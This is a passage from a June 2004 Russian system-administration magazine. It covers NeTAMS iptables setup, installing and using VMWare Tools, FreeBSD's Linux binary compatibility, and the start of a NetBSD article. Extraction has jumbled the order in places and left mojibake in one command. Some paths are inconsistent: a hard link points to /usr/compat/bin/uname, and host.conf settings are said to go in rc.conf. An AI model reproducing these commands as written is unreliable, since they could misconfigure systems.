html 1 path /var/www/localhost/netams run 1min client-pages all
Теперь запускаем программу в режиме демона: # netams
и определим правила iptables, с помощью которых данные будут поступать в программу: $IPTABLES -t mangle -A POSTROUTING -p all -j QUEUE $IPTABLES -t mangle -A PREROUTING -p all -j QUEUE
№6(19), июнь 2004
Мы рассмотрели простейший случай подсчета трафика от провайдера до шлюза. В документации, поставляемой с программой, настройка описана более детально. Например, для каждого пользователя в локальной сети можно настроить квоту, при превышении которой NeTAMS автоматически отключит доступ в Интернет. К тому же на сайте www.netams.com есть русскоязычный форум, в котором можно найти ответы на любой возникший вопрос.
11
администрирование
VMWare СО ВСЕМИ УДОБСТВАМИ
АНДРЕЙ БЕШКОВ С момента публикации первых статей о VMWare Workstation прошло уже довольно много времени. Кое-что поменялось в лучшую сторону. Например, вышла новая версия этого программного пакета. Сегодня хотелось бы ответить на вопросы читателей, наиболее часто возникающие во время пользования программой. Видимо, пришла пора написать по возможности краткую инструкцию, рассказывающую о решении проблем, не затронутых нами в предыдущих статьях. Сразу же определимся, что сегодня в отличие от предыдущих раз, где речь шла о VMWare 4.0, я буду говорить о VMWare версии 4.5. Это предполагает некоторые несущественные различия, которые пользователи старой версии должны учесть, если собираются воплощать в жизнь все, что будет здесь изложено. В первую очередь мы обсудим комплект дополнительного программного обеспечения, поставляющегося вместе с VMWare Workstation. Название у него довольно традиционное и, видимо, не станет для вас сюрпризом, это VMWare Tools. После первичной инсталляции любой из официально поддерживаемых гостевых систем многие из читателей столкнулись с тем фактом, что работает все вроде бы стабильно, но скорость все же не та, на которую можно было бы рассчитывать. Попытки проиграть звук или установить разрешение экрана выше, чем 640х480, и цветность более 16 цветов ничем хорошим не заканчиваются. Курсор мыши тоже как-то слишком вяло реагирует на наши движения. Конечно, можно работать и так, но все же хочется жить с комфортом. Да и надпись в нижнем левом углу каждой запущенной виртуальной машины прямо намекает на желательность установки компонента VMWare Tools.
12
Большинство наших проблем происходит от того, что сразу же после установки система не смогла найти драйверов, подходящих для нашего виртуального железа. Для примера посмотрим, как обстоят дела в гостевой системе Windows 98. Список оборудования выглядит следующим образом.
Согласитесь, наличие такого огромного количества желтых вопросиков и восклицательных знаков до добра не доведет. Проблема в том, что хоть виртуальные устройства и маскируются под реально существующие в природе, но все же стандартные драйвера от производителей железа к ним либо совсем не подходят, либо не способны правильно реализовать все требуемые функции. Поэтому приступим к инсталляции специальных переработанных драйверов, включенных в состав VMWare Tools. Сделать это довольно просто, нужно всего лишь запустить гостевую систему и, дождавшись окончания загрузки, воспользоваться меню VM → Install VMWare Tools. На экране появится следующая надпись.
администрирование
На первый взгляд все нормально, но внимательно прочитав ее, приходишь к выводу, что второе предложение явно противоречит первому. Получается, что установить компонент в запущенную систему невозможно, но если система не работает, то нужно отменить установку и дождаться другого раза. Поэтому мы игнорируем все предупреждения и жмем кнопку «Install». После этого диск, представляющий виртуальный CD-ROM, будет принудительно размонтирован и заменен имиджем диска, содержащего в себе нужную нам версию VMWare Tools. Этот факт как раз отображен на следующем снимке экрана.
Скорее всего инсталляция запустится автоматически. Ну а если этого не произойдет, то нужно будет принудительно выполнить программу setup.exe. Выбираем полный набор компонентов и жмем «Next».
Дальнейший ход установки интереса для нас не представляет из-за своей тривиальности и предсказуемости. По завершении инсталляции нужно будет перезагрузить машину. Признаком удачной установки будет появление синего значка VMWare в системном лотке и на панели управления.
№6(19), июнь 2004
Чаще всего видеодрайвер устанавливается автоматически после перезагрузки системы, но иногда этого не случается. Если у вас именно такая ситуация, то нужно сделать это вручную. Снова выбираем пункт меню VM → Install VMWare Tools, чтобы примонтировать к нашему виртуальному CD нужный образ. Затем проходим через такую последовательность: Панель управления → Система → Устройства → Видеоадаптер → Свойства → Драйвер → Обновить драйвер. Устанавливаем переключатели в положение «Отобразить весь список всех драйверов, чтобы мы могли выбрать наиболее подходящий из них». На следующем экране жмем кнопку «установить с диска». И выбираем драйвер так же, как изображено на следующем рисунке.
После перезагрузки системы нам станут доступны режимы с более высоким разрешением и лучшей цветностью. Следующей проблемой, которую необходимо решить, является отсутствие драйверов для звуковой карты. После установки VMWare Tools гостевая система считает, что у нас в качестве музыкального сопровождения используется карта Creative Ensoniq Audio PCI. К сожалению, из-за проблем с лицензированием драйвера для нее не входят в комплект поставки VMWare. А в связи с тем, что устройство появилось позднее, чем Windows 98 вышла на рынок, то и в стандартной поставке этой системы их тоже нет. Поэтому нам придется посетить сайт http:// www.creative.com либо http://www.americas.creative.com/ support/welcome.asp?centric=15. Выбрать там из списка продуктов нужный и скачать драйвера. Самая главная забава состоит в том, что при попытке установить их в систему мы будем получать вот такую ошибку.
Увидев ее, я пытался несколько дней с помощью разных приемов достать из инсталляционного пакета столь необходимое содержимое. После некоторого количества плясок с волшебным бубном я наконец-то понял, что вся загвоздка состоит в том, что для правильного выполнения установки нужно обновить InstallShield. Думаю, все желающие способны сделать это самостоятельно, ну а те, кому лень, могут взять освобожденный от оков InstallShield-дистрибутив тут: http://onix.opennet.ru/ files/ensoniq.zip. Как обычно, после перезагрузки все должно заработать как положено, и звук наконец-то появится. Маленьким облачком, омрачающим жизнь, будет следующее со-
13
администрирование общение, появляющееся на экране при каждом старте системы.
К сожалению, виртуальная звуковая карта действительно не поддерживает работу с MIDI. Впрочем, я думаю, что для большинства пользователей VMWare это не станет катастрофой. Обновив драйвера всех устройств, с которыми у нас были проблемы, и закончив все необходимые настройки, давайте посмотрим, как должна выглядеть таблица системных устройств.
Установка пакета, обсуждаемого в этой статье, в гостевую систему Windows 2000 выполняется гораздо проще и не требует таких замысловатых телодвижений. Единственное, что нужно, – это изредка нажимать кнопку «Продолжить» при появлении на экране подобных запросов.
Думаю, после этого каждый из вас сможет самостоятельно справиться с инсталляцией VMWare Tools в любую Windows-подобную гостевую систему. Разобравшись со стандартными возможностями этого пакета, давайте посмотрим, какие еще выгоды можно получить от его использования. Чтобы сделать это, нужно дважды кликнуть на иконке VMWare Tools, появившейся в системном лотке гостевой операционной системы. Сразу же после этого нашему взгляду предстает следующая картина. Как вы могли заметить, весь интерфейс, позволяющий управлять VMWare Tools, сосредоточен на нескольких вкладках. Несколько слов о возможностях каждой из них.
14
На первой вкладке нас ожидают лишь флажки, управляющие синхронизацией времени между основной и гостевой системами и показом иконки в системном лотке. Опираясь на свой опыт, могу сказать, что служба синхронизации времени работает просто отлично.
На следующей вкладке находится интерфейс, позволяющий управлять подключением устройств. На первый взгляд такой функционал выглядит излишним, учитывая тот факт, что все эти действия можно выполнить с помощью главного меню VMWare. Единственное объяснение, позволяющее оправдать такую избыточность, – это возможность перевести гостевую систему в полноэкранный режим. В этом случае пользоваться главным меню будет слегка неудобно из-за необходимости постоянно переключать видеорежимы. В дальнейшем заострять на нем внимание не стоит, поэтому переходим к следующей вкладке.
Она позволяет вручную запускать разные системные скрипты, которые вызываются при нажатии на кнопки запуска, остановки и прочих управляющих пиктограмм панели инструментов. Ее наличие вызвано, видимо, той же самой причиной, по которой разработчики создали и предыдущую вкладку. Не сказать, что эта возможность жиз-
администрирование ненно необходима, но все же ее использование может принести некоторое удобство. Одной из самых больших приятностей, предоставляемых VMWare Tools, являются папки общего доступа «Shared Folders». Суть этого явления довольно проста. Мы можем спроецировать любую папку основной операционной системы или любой сетевой диск, доступный с этой системы, на сетевую папку общего доступа в гостевой системе. Соответственно нам легко и просто становятся доступны функции файлового обмена между основной и несколькими гостевыми системами. Используя глобальное меню VMWare и пройдясь по пунктам VM → Settings → Option → Shared Folders, попадаем в контрольную панель, с помощью которой можно управлять этой полезной возможностью.
Хотя для тех систем, которые его поддерживают, картина существенно не меняется. Если честно, то мне непонятно, для чего, собственно, была создана эта вкладка, если она не позволяет ничем управлять. Кстати, в UNIX-подобных гостевых системах эта вкладка вообще отсутствует. Оставим это досадное недоразумение на совести дизайнеров интерфейса. Ну а мы лучше посмотрим, как выглядят папки общего доступа с точки зрения гостевой системы.
Еще одним моментом, повышающим удобство пользования, является способность довольно гибкой настройки свойств папки общего доступа.
К сожалению, возможность работы с папками Shared Folders поддерживается не всеми гостевыми системами, а лишь теми, что перечислены ниже: ! Linux с ядром версии 2.4 и выше ! Windows Server 2003 ! Windows XP ! Windows 2000 ! Windows NT 4.0
Наиболее внимательные читатели уже заметили, что все эти папки присоединены к гостевой системе как обычный сетевой диск. По умолчанию он подключается к диску Z. Впрочем, это легко поддается корректировке. Права на файлы и папки внутри этого псевдодиска соответствуют правам пользователя основной системы, от имени которого запущена VMWare, что, конечно, не очень удобно, так как не позволяет разграничить доступ к ресурсу, опираясь на имена пользователей гостевой системы. Следующей полезной возможностью, о которой стоило бы поговорить, является механизм сжатия виртуальных дисков. Отвечает за это дело вкладка Shrink. Как вы могли бы заметить, у нас есть два типа дисков: те, что поддаются сжатию, и те, кому такое счастье не светит никогда.
Как ни странно, но вкладка Shared Folders, отображаемая через VMWare Tools, вообще не дает никакого функционала для управления этими самыми папками. Для систем, не поддерживающих такие возможности, она выглядит следующим образом.
№6(19), июнь 2004
15
администрирование
Давайте разберемся, от чего это зависит. Во-первых уплотнить можно лишь устройства, являющиеся жесткими дисками виртуальных машин. Соответственно сетевые диски и съемные устройства остаются за бортом. Жесткие диски могут быть трех типов: ! Pre-allocated дисковое пространство выделяется один раз в момент создания такого диска. Если мы создали диск размером 2 Гб, то даже будучи пустым, он будет занимать чуть больше, чем два гигабайта. ! Raw – диски, являющиеся обычными разделами на реальном жестком диске. ! Compact-пространство внутри такого диска выделяется по мере надобности. Соответственно в процессе работы он постепенно распухает, пока не дойдет до своего максимального размера. При удалении файлов, хранящихся внутри виртуального диска, освобождение места в файле, изображающем этот диск, не происходит по причине экономии процессорных ресурсов. Сжатию могут быть подвергнуты только те диски, которые созданы с опцией compact. Процедура это довольно быстрая. К примеру, на моей машине, обладающей довольно средними по нынешним временам характеристиками, на уплотнение диска размером в 4 Гб было потрачено примерно две с половиной минуты, при учете того, что диск был на три четверти заполнен файлами. Сжатие диска не только освобождает неиспользуемое пространство, но и ускоряет работу гостевой системы в целом. Стоит отметить, что наибольшего прироста производительности файловых операций можно достичь, если с помощью интерфейса управления виртуальными жесткими дисками сразу же после сжатия запустить дефрагментацию средствами VMWare. На этом обзор возможностей WMware Tools для гостевых систем типа Windows можно считать законченным. Давайте посмотрим, как реализована эта технология в UNIX-подобных операционных системах. Для примера возьмем ALT Linux Master 2.2 и FreeBSD 4.9. Начало установки практически ничем не отличается от такого же действия, описанного для Windows. Нужно всего лишь воспользоваться пунктом меню VM → Install VMWare Tools, при этом в качестве CD-диска будет присоединен isoфайл с нужным содержимым. Затем необходимо определиться, будем ли мы использовать графику внутри виртуальной машины. Если да, то для начала нужно установить XFree86 и настроить его в минимальном режиме. Напри-
16
мер, так, чтобы система XWindow могла работать с разрешением 320х200. Вполне работоспособными должны быть клавиатура и мышь. Только после этого можно приступать к установке VMWare Tools. Все описываемые действия должны производиться с правами пользователя root. Для ALT Linux делается это довольно просто, нужно всего лишь скопировать пакет VMWare-linux-tools.tar.gz из /mnt/cdrom/auto/ в какую-либо временную директорию. Если вы не используете систему autofs, то вам придется вручную примонтировать файловую систему с CD-ROM в нужное место, например вот так: mount –t iso9660 /dev/cdrom /mnt/cdrom. Распаковать полученный пакет и, перейдя в папку VMWaretools-distrib, выполнить команду VMWare-install.pl. Скрипт инсталляции, не найдя модуля, подходящего к нашему ядру, предложит скомпилировать его из исходных текстов. Как это делать, описано в статье про установку VMWare для Linux, поэтому заострять внимание на этом не будем. В сущности, на этом процедуру установки можно считать оконченной. Для FreeBSD все то же самое выполняется довольно просто и безболезненно. # # # # #
mount –t iso9660 /dev/cdrom /cdrom cd /tmp tar zxvf /cdrom/vmware-freebsd-tools.tar.gz cd vmware-freebsd-tools ./install.pl
Вот и вся инсталляция. В систему установлен стартовый скрипт, который запускает нужный сервис автоматически. Мы можем выполнить его вручную, если очень не терпится, или провести перезагрузку системы, что будет надежнее. Интересной особенностью скрипта является определение того, в каком режиме стартовала система – в гостевом или в реальном, ведь при использовании rawдисков систему можно загружать двумя способами. Либо с помощью VMWare, либо самостоятельно с помощью какого-нибудь стороннего загрузчика. В качестве такового могут выступать, к примеру, GRUB, LILO и еще некоторое количество других программ этой направленности. Управлять свежеустановленными WMware Tools можно с помощью команды VMWare-toolbox. Интерфейс программы довольно сильно похож на то, что мы видели в Windows-версии.
администрирование Судя по тем сведениям, что появились на экране, у нас один раздел с файловой системой NTFS и его размер 8 369 802 сектора. Теперь давайте перейдем к немного более сложному примеру. Возьмем диск от FreeBSD 4.9. [tigrisha@tiger freeBSD]$ /usr/bin/vmware-mount.pl ↵ -p ./freeBSD.vmdk
Я думаю, с этим диском тоже все понятно. Ну что же, давайте попробуем примонтировать первый раздел из диска Windows Server 2003 к директории /mnt/VMWare/. # /usr/bin/vmware-mount.pl ./Server2000_Enterprise.vmdk ↵ 1 /mnt/vmware
Единственное различие состоит в том, что сжатие дисков имеет право выполнять только пользователь root. Папки, доступные гостевой Linux-системе, через механизм Shared Folders будут располагаться в /mnt/hgfs. Интересен тот факт, что попытка работать с такими папками изпод FreeBSD вызывает мгновенное падение всех запущенных виртуальных машин. По крайней мере такой синдром проявляется при использовании VMWare 4.5, работающей под управлением основной Linux-системы. На десерт хотелось бы поговорить о возможности работать с содержимым виртуальных дисков гостевых систем напрямую из основной системы. Такой подход сможет частично компенсировать отсутствие возможности использовать Shared Folders для переноса файлов. Для решения этой нелегкой задачи мы будем использовать инструмент под названием VMWare-mount. Он даст нам возможность примонтировать те или иные разделы, находящиеся внутри файла виртуального диска, в какуюлибо директорию реальной файловой системы. К сожалению, VMWare-mount существует только для Linux. Поэтому те, кто работает с VMWare под Windows, оказываются не у дел. Для начала нужно посмотреть, какие разделы есть внутри нужного нам виртуального диска. Для выполнения данного действия мы используем ключ –p. К примеру, возьмем диск от Windows Server 2003.
Как видите, несмотря на страшные сказки о том, что данная программа может не работать с ядрами выше 2.4, в моем случае все работает отлично под ядром 2.4.25. Теперь файловая система будет доступна нам до тех пор, пока не будет нажата комбинация клавиш Ctrl+c, прерывающая работу скрипта. Открываем еще одно окно терминала и смело идем в /mnt/VMWare, затем смотрим список файлов, находящихся внутри этой директории. # ll
$ /usr/bin/vmware-mount.pl -p ./Server2003_Enterprise.vmdk
Все работает как часы. На этом хотелось бы завершить наш сегодняшний разговор. Надеюсь, что знания, приобретенные в процессе чтения этой статьи, помогут вам сделать более приятным время, проведенное внутри VMWare.
№6(19), июнь 2004
17
администрирование
FreeBSD-БИНАРНАЯ СОВМЕСТИМОСТЬ С LINUX
Мы с тобой одной крови – ты и я. Р. Киплинг «Маугли»
АНДРЕЙ БЕШКОВ Если спросить любого мало-мальски искушенного в компьютерных системах человека, какая UNIX-система на данный момент наиболее популярна, большинство, не задумываясь, ответят – Linux. Несмотря на то что, по моему мнению, в мире существует немало систем, которые по своим объективным качествам превосходят пингвина и его производные, все же любимцем публики стал именно он. Такую огромную популярность этой системы можно объяснить несколькими факторами. Linux проще в первоначальном освоении, чем многие его конкуренты. Диалектов Linux существует великое множество, и соответственно каждый алчущий избавления от засилья Microsoft может найти себе что-то наиболее близкое к представлению об идеальной системе. В отличие от поклонников BSD-систем, которые спокойно и тихо делают свое дело, пользователи Linux довольно активно пропагандируют свое увлечение как образ жизни. В то же время лицензия на компоненты и инструменты, используемые в процессе работы, намного либеральнее, чем обычная BSD-лицензия, что делает систему гораздо привлекательнее для создания проприетарного программного обеспечения. Многие большие игроки этого рынка довольно быстро осознали эти преимущества, поэтому довольно часты случаи, когда закрытое по своей сути программное обеспечение для Linux раздается гигантами индустрии бесплатно в скомпилированном специально для этой системы виде. Единственной тайной остается исходный текст таких подарков, обычно содержащий те или иные секретные ноу-хау. В то же время при использовании BSD-систем надеяться на такие жесты доброты не стоит. Такова объективная реальность, данная нам в ощущениях, и раздувать из-за этого религиозные войны не стоит. Часто обстоятельства складываются так, что свободно распространяемых аналогов закрытого обеспечения не создано и, вероятнее всего, они никогда не появятся на свет, особенно для BSD. Для меня столь необходимыми программами являются Citrix ICA Client, позволяющий работать с сервером Citrix MetaFrame и Аcrobat Reader. В то же время производителя вполне можно понять. Для осуществления квалифицированной поддержки пользователей своей программы, работающей на разных системах, нужно иметь в своем распоряжении довольно большое количество инженеров, консультантов и разработчиков. С каждой новой операционной системой список этих людей растет. Во многих случаях оплачивать такое количество высококлассных специалистов экономически невыгодно. Соответственно производитель снова вынужден
18
сконцентрировать свое внимание на самом выгодном с его точки зрения варианте операционной системы. В данном случае комбинация системы и набора программного обеспечения, с которым клиент желает работать, будут тесно связаны между собой. Поэтому на рынке довольно часто встречается ситуация, когда заказчику приходится работать с операционной системой, с которой он ни за какие коврижки не стал бы связываться при других обстоятельствах. Идти на такие жертвы приходится только из-за того, что нужная ему программа существует только для этой и никакой другой системы. Возможно, то, о чем мы будем говорить сегодня, поможет сгладить эту неприятную зависимость и отсутствие выбора. Таким образом, наша беседа неспешно подошла к тому, что успех Linux в определенной мере полезен всем свободным UNIX-подобным системам. Сегодня мы поговорим о том, как пользователи FreeBSD могут приобщиться к плодам Linux, благополучно заимствуя у своего пингвиновидного родственника те программы, которые отсутствуют в нашей продуктовой корзине. Для этого нам потребуется всего лишь включить так называемый механизм бинарной совместимости, изначально встроенный в недра FreeBSD. А это, в свою очередь, позволит запускать и успешно эксплуатировать большинство Linux-программ без всякой переделки внутри FreeBSD. Для всех примеров, приводимых в статье, использовалась FreeBSD версии 4.9, хотя под более младшими версиями системы все вышеописанное должно работать примерно так же. Давайте предпримем небольшой экскурс в историю обсуждаемого вопроса. Началось все в середине1996 года. Только что вышла FreeBSD 2.1.5 и Linux постепенно начинал набирать популярность в пока что узких кругах своих энтузиастов. Разработчики FreeBSD довольно быстро заметили потенциал Linux и решили, что бинарная совместимость с такой перспективной системой будет весьма кстати. К тому моменту FreeBSD уже была способна запускать приложения, написанные для MS-DOS и SCO Unix. Поэтому для того чтобы работа с Linux-программами стала возможна, не пришлось открывать новые континенты и делать какие-то кардинальные изменения в коде эмулятора. К началу 1997 года система эмуляции уже была способна запускать Applixware, скомпилированный для Red Hat Linux. К тому моменту в разговорах о подсистеме, обеспечивающей совместимость с Linux, постепенно выкристаллизовался и приобрел популярность термин, которым разработчики и пользователи пытались описать то, что происходит внутри программы, запускаемой в чужеродной среде.
администрирование К сожалению, на тот момент никто так и не смог предложить названия лучшего, чем «бинарная эмуляция». Как мы убедимся позднее, при подробном рассмотрении архитектуры обсуждаемой системы этот термин не имеет ничего общего с реальным положением вещей. Но об этом позвольте сказать позднее. С каждым годом количество поддерживаемых приложений росло за счет все более точной реализации Linux API. На данный момент существует мнение, выражаемое разработчиками системы, которое говорит, что 90% Linux-программ будут работать так же надежно под управлением FreeBSD, как и под крылом родной системы. Самыми известными из них являются: ! VMWare Workstation ! Mathematica ! ORACLE ! Maple ! SAP/R3 ! Quake ! Crossover Office ! SAP Notes ! WordPerfect ! Doom ! RealPlayer Единственная проблема, которая может помешать Linuxпрограмме спокойно жить в нашей системе, это слишком глубокое использование файловой системы /proc, так как ее реализация весьма отличается от системы к системе. Еще одной западней для Linux-программы могут стать нестандартные способы работы с устройствами. В остальном же система работает на удивление хорошо прозрачно и стабильно. Платой за такую переносимость станет потеря примерно 2% быстродействия. Хотя по странному стечению обстоятельств некоторые чужие приложения функционируют под управлением FreeBSD даже быстрее, чем под Linux, особенно часто такой эффект наблюдается при работе приложений, записывающих очень много данных на жесткие диски. Видимо, файловая система ufs в данном аспекте является лучшей альтернативой, чем ext3, стандартная для Linux. Ну что же, давайте приступим к инсталляции единственного пакета linux_base. Выполнить это немудреное действо можно несколькими способами. Первый раз это обычно предлагают сделать при первоначальной установке системы.
Если вы пропустили этот момент или ответили нет, то огорчаться не стоит. Можно выполнить инсталляцию с помощью портов. # cd /usr/ports/emulators/linux_base # make install distclean
И добавить в файл /etc/rc.conf следующую строку: linux_enable= "YES"
Данная строка указывает системе, что во время старта надо загружать модуль ядра linux.ko, отвечающий за нужную нам функциональность.
№6(19), июнь 2004
Можно поступить по-другому. Запускаем программу /stand/sysinstall и проходим через меню Configure → Packages, затем необходимо выбрать, откуда будет взят пакет ftp, http, CD. Затем перейти в раздел emulators и выбрать все тот же пакет linux_base. По завершении инсталляции не забываем внести изменения в /etc/rc.conf. После перезагрузки системы можно будет запускать Linuxпрограммы. Доказательством того, что все идет по плану, будет следующая надпись, появляющаяся после загрузки на системной консоли: «Additional ABI support: Linux». Убедиться, что модуль правильно загрузился, можно, выполнив команду kldstat. В ответ должны получить чтото вроде этого:
В директории /usr/compat/linux появится иерархия файлов, созданная по образу и подобию нашей виртуальной Linux-системы.
Версию установленной системы можно узнать вот так:
В случае если вам не хочется подгружать необходимый модуль, при старте системы можно жестко вкомпилировать его в ядро. Для этого нужно дописать в файл конфигурации нового ядра опцию: options
LINUX
И затем произвести компиляцию и установку свежесобранного ядра. Выбор используемого пути оставляю за вами, в любом случае бинарная совместимость должна работать, если вы правильно выполнили мои инструкции. Закончив с инсталляцией, давайте разберемся, как же работает эта магическая комбинация, позволяющая запускать вожделенные Linux-приложения. Многие технически продвинутые читатели будут удивлены описываемыми возможностями. И впрямь, несмотря на схожесть идеологий, две обсуждаемые системы весьма отличаются друг от друга реализацией своих внутренних API (Application Programming Interface). Давайте подробнее разберемся в этом запутанном вопросе. Практически все UNIX-подобные системы состоят из двух компонентов. Это ядро, отвечающее за работу с устройствами, системой безопасности, и системные утилиты вкупе с пользовательскими программами, которые выполняют свои задачи, опираясь на системные функции, предоставляемые ядром. К примеру, если программа желает открыть какой-либо файл,
19
администрирование она вызывает системную функцию open и передает ей некоторое количество параметров, описывающих то действие, которое необходимо выполнить. Ядро, получив запрос, выполняет его, если он может быть осуществлен без конфликта с системой безопасности, а полученные данные возвращаются программе, создавшей запрос. Большинство ядер UNIX-систем имеют схожий набор функций, но в то же время типы данных, количество передаваемых параметров и их порядок могут довольно сильно различаться. Несмотря на то, что в обеих системах для хранения исполняемых программ используется формат ELF, все же он слегка различается. Соответственно для запуска Linuxприложения система должна корректно определить тип исполняемого файла по его магической комбинации, обычно это первые 8 байт заголовка. Затем, пользуясь абстрактным классом загрузчика «execution class loader», в котором содержится таблица всех доступных на данный момент загрузчиков, система определяет, кому нужно отдать его на выполнение. В случае если этот файл оказывается шелл-скриптом, вызывается стандартная командная оболочка или та ее разновидность, название которой записано в первой строке выполняемого скрипта. В случае если нам в лапы попался файл в формате ELF, вызывается специализированный загрузчик этого типа файлов. На данном этапе загрузчик еще не знает, какой операционной системе принадлежит полученный файл. К примеру, он может быть создан для Linux, Solaris, FreeBSD или какой-либо другой системы, также имеющей привычку хранить свои исполняемые файлы в формате ELF. Соответственно, чтобы узнать, чья это вещь, загрузчик смотрит в специальную секцию ELF-файла и ищет известную ему метку (brand), однозначно описывающую родную для приложения систему. Если это ему не удается, то процесс загрузки прерывается, а на экране появляется вот такое сообщение:
В последнее время такая ситуация встречается очень редко, но все же стоит знать, как побороть это досадное недоразумение. Нужно всего лишь вручную промаркировать исполняемый файл именем родной системы. Для Linux это будет выглядеть следующим образом. # brandelf -t
Linux èìÿ ïðîãðàììû
Ну а мы продолжим рассмотрение процесса загрузки. После того как произошло определение принадлежности файла, в случае если мы работаем с Linux-приложением, происходит следующее: загрузчик изменяет указатели в специальной структуре proc, содержащей внутри себя адреса системных функций так, чтобы вместо родных функций ядра FreeBSD управление получали специальные функции, реализующие соответствующее поведение ядра Linux. Таким образом получается, что никакой эмуляцией тут и не пахнет. Просто в момент вызова Linux-приложением тех или иных функций система жонглирует указателями, ловко обманывая программу. Процесс Linux-приложения помечается специальным флагом, позволяющим системе от-
20
личать его от обычных FreeBSD-процессов, а модуль ядра linux.ko, опираясь на вышеуказанную метку, особым образом обрабатывает сигналы с тем прицелом, чтобы у процесса полностью создалось ощущение жизни внутри родной системы. Еще одним из полезных фокусов является то, что при попытке Linux-программы выполнить другую программу, поиск файла будет сначала вестись в директориях /usr/compat/linux, а в случае если ничего подходящего не нашлось, продолжится уже в корневой файловой системе. Яркой иллюстрацией таких уловок является поведение команды uname, родной для FreeBSD и Linux.
Всем желающим предлагается самостоятельно найти десять отличий. Разобравшись с хитросплетениями устройства бинарной совместимости, давайте наконец-то перейдем к практическим занятиям. В качестве первого примера посмотрим на инсталляцию Citrix ICA Client. Тут все просто. Берем с сайта Citrix дистрибутив либо в формате tar.gz (Citrix_ linuxx86.tar.gz), либо в rpm (ICAClient-7.00-1.i386.rpm). Оба они равнозначны, поэтому давайте посмотрим, как их устанавливать всеми доступными способами. В случае с tar.gz нужно распаковать пакет и запустить скрипт setuwfc. Несмотря на жалобы о том, что FreeBSD не входит в список поддерживаемых систем, инсталляция проходит на ура. Все жалобы проистекают от того, что скрипт вызывает команду uname для определения типа используемой системы, а в связи с тем, что загрузчик не распознает этот скрипт как Linux ELF-файл, то и подмена вызовов системных утилит не происходит. Соответственно вместо /usr/compat/linux/bin/uname работает /usr/bin/uname, честно сообщающая, что у нас не Linux, а FreeBSD. Впрочем, эта мелкая неполадка для нас не критична. Сразу же после завершения установки мы обнаруживаем, что все нужные файлы вполне удачно проинсталлировались в /usr/lib/ICAClient/. Если же вам хочется установить программу непременно из rpm, то нужно сделать вот так: # rpm -i --dbpath /var/lib/rpm --root /usr/compat/linux ↵ --ignoreos ./ICAClient-7.00-1.i386.rpm
По идее все должно пройти отлично, хотя иногда я встречал такие rpm-пакеты, которые по разным причинам вызывают падение программы rpm. В таком случае можно вручную распаковать rpm-пакет, например, с помощью mc и разложить все файлы по нужным директориям самостоятельно. После удачной установки rpm-пакета все вновь созданные файлы обычно находятся в /usr/compat/linux. После первоначальной настройки Citrix ICA Client c помощью wfcmgr программа вполне готова к употреблению. В этом можно убедиться, посмотрев на следующий снимок экрана.
администрирование
Для удачной установки Acrobat Reader придется повозиться чуть больше. Распаковываем дистрибутив и запускаем скрипт INSTALL. Проблема в том, что программисты фирмы Adobe пытаются не позволить нам пользоваться их детищем под управление FreeBSD. В ответ получаем следующую надпись:
Приняв лицензионное соглашение в качестве директории для установки, подтверждаем выбор по умолчанию /usr/local/Acrobat5/.
запускать не /usr/bin/uname, а /usr/compat/linux/bin/uname. Исправить положение очень легко, нужно найти все вхождения символов uname в тексте скрипта и заменить их на luname. А затем в директории /usr/bin создать жесткую ссылку с именем luname на /usr/compat/bin/uname. Перезагружаем систему. Теперь запускаем acroread и радуемся как малые дети. Конечно, можно было бы не создавать никаких ссылок, а просто вместо uname написать /usr/compat/linux/bin/ uname, но я человек ленивый и стараюсь уменьшить количество совершаемых телодвижений. К тому же данная проблема довольно типична для скриптов Linux-приложений, поэтому ссылка на luname вам пригодится скорее всего еще не один раз. Кстати, стоит отметить, что некоторые приложения могут требовать для нормального функционирования некоторые библиотеки, используемые для разработки других приложений. Ярким примером такой разновидности программ выступает ORACLE. Поэтому нам лучше поставить еще один добавочный пакет, называемый linux_devtools. # # cd /usr/ports/emulators/linux_devtools # make package
Иногда несмотря на то, что приложение удачно установилось, работать оно все же не хочет по причине отсутствия некоторых библиотек. Для начала проверим, какие же именно библиотеки ему необходимы. Делать это мы будем на примере WordPerfect.
После того как копирование файлов будет завершено, можно попытаться запустить программу и получить горькое разочарование.
Об этой беде мы уже говорили ранее в статье. Распотрошив скрипт acroread, довольно быстро находим проблему. Так как скрипты не являются бинарными ELF-файлами, система бинарной совместимости никак не может догадаться, что по запросу на вызов утилиты uname нужно
Соответственно нам нужно всего лишь найти эти библиотеки на Linux-машине и скопировать их себе в систему бинарной совместимости. Лично мне пришлось сделать так всего один раз за все время работы с системой. С другой стороны, чем больше программного обеспечения вы будете устанавливать, тем больше шансов, что все необходимые библиотеки у вас уже будут находиться там, где положено. Иногда Linux-приложения, интенсивно использующие DNS, отказываются работать и выводят на экран следующие жалобы:
Все дело в том, что они пытаются использовать по умолчанию файл host.conf от FreeBSD, а нам нужно совершенно другое. Поэтому вписываем в /usr/compat/linux/ etc/rc.conf следующие строки: order hosts, bind multi on
И навсегда забываем о проблеме с DNS. Как вы могли убедиться, работать с интерфейсом бинарной совместимости довольно просто, а выгода от этого получается немалая.
№6(19), июнь 2004
21
администрирование
ПЕРВЫЕ ШАГИ В NetBSD ЧАСТЬ 1
В этой статье речь пойдет об ОС NetBSD. К сожалению, документации на русском языке по этой ОС практически нет. Как-то не прижилась NetBSD в нашей стране, нельзя сказать, что эту систему вообще никто не использует, но все же количество людей, имеющих с ней дело, очень невелико.
АЛЕКСАНДР БАЙРАК Хотя на Западе NetBSD достаточно популярна. В принципе это легко объяснить. Главный козырь NetBSD в ее многоплатформенности, она одинаково хорошо будет работать как на карманных компьютерах типа HP Jordana 728, так и на больших 64-разрядных Alpha. Конечно, она работает и на x86. И если за рубежом количество машин с отличной от x86 архитектурой достаточно велико, у нас же если где и есть SPARC или MIPS, то люди в основном предпочитают использовать на них их родные ОС. На x86 NetBSD тоже почему-то ставят нечасто, вроде как и «остальных» систем достаточно, а разбираться с чем-то новым у кого времени, а у кого и желания нет. До недавнего времени в рунете была только одна статья, посвященная NetBSD (http://www.linuxshop.ru/unix4all/?cid=28&id=325). Не так давно Андрей Бешков написал отличную статью, посвященную этой системе (смотри августовский номер журнала за 2003 г. или http://onix.opennet.ru/netbsd/netbsd.html). Я вам очень советую ее почитать, в статье в простой и доступной форме расписан процесс установки ОС. После этого интерес к системе возрос, все чаще на форумах юниксоидов можно встретить вопросы и, что самое главное, ответы, посвященные NetBSD. Эта система заинтересовала и меня, результат моего изучения перед вами. За неимением компьютеров с отличной от x86 архитектурой все мои эксперименты с NetBSD проводились на обычном PC (Cel 433МГц/64Мб RAM). Я предполагаю, что NetBSD в том или ином виде уже установлена на вашем компьютере. Далее нам понадобится только диск с исходниками системы. Взять образ этого диска можно тут: 